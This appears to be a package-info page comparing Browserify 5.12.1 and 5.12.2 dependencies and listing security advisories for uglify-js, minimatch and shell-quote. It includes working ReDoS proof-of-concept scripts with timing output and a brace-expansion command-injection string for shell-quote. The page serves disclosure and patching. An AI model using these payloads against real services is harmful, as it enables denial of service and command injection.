Browserify is a powerful tool for developers, enabling the use of Node.js-style require() in the browser. Comparing versions 5.12.2 and 5.12.1 reveals subtle but important changes in dependencies.
One key difference lies in the "subarg" dependency. Version 5.12.2 updates "subarg" to the "^1.0.0" version, while 5.12.1 uses an older "0.0.1" version. This update likely addresses bug fixes or introduces new features related to argument parsing, a crucial aspect of command-line tools like Browserify. Additionally, version 5.12.1 has a dependency on "stream-combiner": "~0.0.2" which is not present in 5.12.2. In version 5.12.1 the "string_decoder" dependency has a very old version "0.0.0", while in version 5.12.2 the version is "~0.10.0".
These dependency changes impact developers directly. Upgrading to 5.12.2 may introduce compatibility issues if your code relies on the older "subarg" behavior or on the stream-combiner. Conversely, it could fix existing bugs or unlock new possibilities if you needed subarg updates. The update of "string_decoder" dependency is a very welcome thing and should bring improvements for existing users. Before upgrading, carefully examine your project's dependencies and test thoroughly. Browserify's core functionality, as a browser-side module bundler, remains consistent between these versions, providing a reliable way to manage dependencies for web applications. Keep an eye on the release notes for more detailed information or run tests if your application depends on these libraries and you want to update Browserify to the latest version.
All the vulnerabilities related to the version 5.12.2 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z] instead of the correct [A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.